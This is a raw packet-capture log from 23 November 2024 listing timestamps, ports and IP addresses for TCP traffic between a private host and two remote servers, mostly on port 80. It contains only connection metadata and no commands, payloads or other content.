Nov 23, 2024 15:37:29.628473997 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:29.628596067 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:29.629174948 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:29.629264116 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:29.629870892 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:29.629924059 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:29.629934072 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:29.629965067 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:29.630671978 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:29.630831003 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:29.630881071 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:29.631407976 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:29.631567955 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:29.631699085 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:29.632149935 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:29.632273912 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:29.632345915 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:29.632919073 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:29.633073092 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:29.633250952 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:29.633665085 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:29.633753061 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:29.633801937 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:29.634412050 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:29.634527922 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:29.634578943 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:29.635165930 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:29.635237932 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:29.635299921 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:29.635920048 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:29.636037111 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:29.636096954 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:29.636684895 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:29.636775017 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:29.636914015 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:29.637425900 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:29.637571096 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:29.637764931 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:29.638176918 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:29.638292074 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:29.638344049 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:29.638947964 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:29.639064074 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:29.639168024 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:29.639686108 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:29.639808893 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:29.639889956 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:29.640444040 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:29.640547991 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:29.640604019 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:29.641216993 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:29.641319990 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:29.641377926 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:29.641994953 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:29.642057896 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:29.642106056 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:29.642697096 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:29.642901897 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:29.642976999 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:29.643040895 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:29.643660069 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:29.643708944 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:29.643767118 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:29.644440889 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:29.644529104 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:29.644582033 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:29.645319939 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:29.645380974 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:29.645422935 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:29.645982981 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:29.646032095 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:29.646048069 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:29.646732092 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:29.646784067 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:29.646821976 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:29.647443056 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:29.647491932 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:29.647555113 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:29.648214102 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:29.648298025 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:29.648328066 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:29.648929119 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:29.648976088 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:29.649039984 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:29.649719000 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:29.649755955 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:29.649880886 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:29.650567055 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:29.650643110 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:29.650666952 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:29.651221037 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:29.651348114 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:29.651381016 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:29.651993990 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:29.652074099 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:29.652153015 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:29.652703047 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:29.652770042 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:29.652832031 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:29.653466940 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:29.653518915 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:29.653572083 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:29.654233932 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:29.654299021 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:29.654334068 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:29.655073881 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:29.655126095 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:29.655134916 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:29.655983925 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:29.656025887 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:29.656105042 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:29.656794071 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:29.656867981 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:29.656914949 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:29.657582045 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:29.657685995 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:29.657692909 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:29.658169031 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:29.658221960 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:29.658304930 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:29.658879995 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:29.658930063 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:29.659007072 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:29.659634113 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:29.659688950 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:29.659729004 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:29.660283089 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:29.660381079 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:29.660423040 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:29.661052942 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:29.661133051 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:29.661175013 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:29.661772966 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:29.661820889 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:29.661896944 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:29.662555933 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:29.662602901 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:29.662652969 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:29.663286924 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:29.663419962 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:29.663460970 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:29.664043903 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:29.664145947 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:29.664182901 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:29.664788961 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:29.664952040 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:29.665005922 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:29.665560961 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:29.665652990 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:29.665695906 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:29.666276932 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:29.666404009 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:29.666449070 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:29.667084932 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:29.667125940 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:29.667244911 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:29.667805910 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:29.667849064 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:29.667921066 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:29.668550014 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:29.668596029 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:29.668651104 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:29.669358969 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:29.669403076 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:29.669466019 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:29.670206070 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:29.670250893 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:29.670335054 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:29.670855999 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:29.671000957 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:29.671041965 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:29.671695948 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:29.671816111 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:29.671864986 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:29.672450066 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:29.672502995 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:29.672530890 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:29.673124075 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:29.673252106 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:29.673285007 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:29.673865080 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:29.673914909 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:29.673949003 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:29.674633980 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:29.674683094 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:29.674746990 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:29.675362110 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:29.675415993 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:29.675451994 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:29.676106930 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:29.676171064 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:29.676193953 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:29.676860094 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:29.676906109 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:29.676995993 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:29.677742004 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:29.677792072 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:29.677825928 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:29.678461075 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:29.678500891 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:29.678611040 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:29.679143906 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:29.679191113 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:29.679197073 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:29.679908991 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:29.679959059 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:29.680013895 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:29.680636883 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:29.680682898 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:29.680843115 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:29.681423903 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:29.681540012 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:29.681596041 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:29.682148933 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:29.682209969 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:29.682280064 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:29.682905912 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:29.682970047 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:29.683001995 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:29.683650970 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:29.683720112 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:29.683753014 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:29.684390068 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:29.684446096 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:29.684505939 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:29.685164928 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:29.685214996 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:29.685276031 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:29.685934067 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:29.685992956 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:29.686028957 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:29.686701059 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:29.686790943 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:29.686876059 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:29.687419891 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:29.687473059 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:29.687526941 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:29.688195944 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:29.688246965 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:29.688313961 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:29.689037085 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:29.689085960 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:29.689246893 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:29.689694881 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:29.689749956 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:29.689771891 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:29.690438032 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:29.690478086 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:29.690538883 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:29.691204071 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:29.691317081 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:29.691359043 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:29.691943884 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:29.691996098 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:29.692056894 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:29.692723989 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:29.692776918 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:29.692811012 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:29.693483114 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:29.693536997 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:29.693707943 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:29.694236994 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:29.694284916 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:29.694339037 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:29.694983006 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:29.695035934 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:29.695095062 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:29.695727110 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:29.695770979 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:29.695830107 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:29.696484089 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:29.696538925 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:29.696598053 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:29.697257996 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:29.697333097 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:29.697376013 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:29.697983980 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:29.698071003 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:29.698112965 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:29.698800087 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:29.698992014 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:29.699033976 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:29.699561119 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:29.699599981 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:29.699659109 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:29.700244904 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:29.700298071 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:29.700368881 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:29.701004028 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:29.701044083 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:29.701080084 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:29.701757908 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:29.701801062 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:29.701894045 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:29.702514887 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:29.702606916 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:29.702645063 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:29.779187918 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:29.824671030 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:30.025316000 CET	443	49730	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:30.026057005 CET	49730	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:30.026092052 CET	443	49730	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:30.026731014 CET	49730	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:30.026737928 CET	443	49730	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:30.050517082 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:30.054217100 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:30.081935883 CET	443	49732	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:30.083796024 CET	49732	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:30.083868027 CET	443	49732	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:30.084232092 CET	49732	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:30.084240913 CET	443	49732	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:30.138719082 CET	443	49731	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:30.139225006 CET	49731	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:30.139269114 CET	443	49731	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:30.139781952 CET	49731	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:30.139797926 CET	443	49731	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:30.199743986 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.246546030 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:30.252043009 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.252055883 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.253242016 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:30.263794899 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.309063911 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:30.368292093 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.368469000 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.368479967 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.368489981 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.368499994 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.368510008 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.368520021 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.368530035 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.368530989 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:30.368541002 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.368552923 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.368562937 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.368562937 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:30.368572950 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.368583918 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.368586063 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:30.368596077 CET	80	49724	185.215.113.16	192.168.2.5
